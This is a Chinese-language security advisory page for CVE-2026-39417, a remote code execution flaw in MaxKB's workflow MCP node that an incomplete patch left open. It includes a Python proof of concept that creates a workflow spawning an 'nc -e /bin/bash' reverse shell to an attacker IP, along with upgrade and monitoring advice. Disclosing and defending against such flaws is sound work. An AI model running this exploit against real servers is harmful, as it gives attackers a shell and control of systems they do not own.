IPBUF安全漏洞报告
English
CVE-2026-39417 CVSS 4.6 中危

CVE-2026-39417:MaxKB远程代码执行漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-39417
漏洞类型
远程代码执行
CVSS评分
4.6 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
MaxKB

相关标签

RCEMaxKBMCPCVE-2026-39417代码注入工作流引擎

漏洞概述

MaxKB是一款基于大语言模型的开源AI知识库助手。在其2.7.1及以下版本中,由于对先前漏洞的修复不彻底,工作流引擎的MCP节点仍存在远程代码执行风险。攻击者利用该缺陷,可以通过精心构造的JSON数据绕过安全限制,注入包含任意命令的MCP节点配置。一旦受影响的工作流被系统触发,攻击者即可在服务器端执行恶意代码,从而控制目标系统。

技术细节

该漏洞的核心原因在于MaxKB工作流引擎对MCP节点配置的安全校验逻辑存在疏漏。尽管官方针对CVE-2025-53928进行了修复,但补丁仅覆盖了通过数据库引用配置的代码路径,即检查mcp_source字段。然而,代码中直接解析用户输入JSON的else分支未进行任何安全加固。由于API定义中mcp_source字段并非必填项,攻击者可以简单地省略该字段或将其赋值为非引用字符串,从而完全绕过数据库层面的安全校验机制。在攻击利用阶段,攻击者首先需要拥有一个低权限账户,然后调用工作流创建或修改接口。在请求体中,攻击者构造一个恶意的MCP节点,将传输方式设置为stdio,并指定command为系统命令,args为参数列表。当该工作流被系统执行时,MaxKB会加载该恶意配置,并启动子进程执行攻击者预设的命令,最终导致服务器被攻陷。

攻击链分析

STEP 1
1. 获取访问权限
攻击者注册或获取一个MaxKB平台的低权限用户账户(PR:L)。
STEP 2
2. 构造恶意Payload
攻击者构造一个包含恶意MCP节点的JSON数据,省略mcp_source字段,并在mcp_servers中配置stdio传输及任意命令。
STEP 3
3. 注入恶意配置
攻击者调用工作流创建API,将包含恶意节点的配置上传到服务器,绕过不完整的修复检查。
STEP 4
4. 触发工作流
攻击者通过聊天界面或其他方式触发包含恶意MCP节点的工作流。
STEP 5
5. 执行命令
服务器解析恶意配置,启动子进程执行攻击者预设的系统命令,实现RCE。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target API endpoint for creating/updating workflow url = "http://target-ip:8080/api/application/workflow/" # Attacker's credentials (Low privileges required) token = "<VALID_LOW_PRIVILEGE_TOKEN>" # Malicious payload exploiting the incomplete fix # Note: 'mcp_source' is omitted to bypass the database check logic payload = { "name": "Malicious Workflow", "nodes": [ { "id": "mcp_exploit_node", "type": "mcp", "data": { # The vulnerability lies here: direct JSON injection without mcp_source "mcp_servers": { "exploit_server": { "transport": "stdio", "command": "nc", # Arbitrary command execution "args": ["-e", "/bin/bash", "192.168.1.100", "4444"] } } } } ] } headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } try: response = requests.post(url, headers=headers, data=json.dumps(payload)) if response.status_code == 200: print("[+] Workflow created successfully. Trigger the workflow via chat to execute the payload.") else: print(f"[-] Failed to create workflow. Status: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

影响范围

MaxKB <= 2.7.1

防御指南

临时缓解措施
建议立即升级到v2.8.0版本。如果暂时无法升级,应严格限制工作流创建接口的访问权限,仅允许受信任的管理员操作,并密切监控系统进程是否有异常的nc、bash等子进程启动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表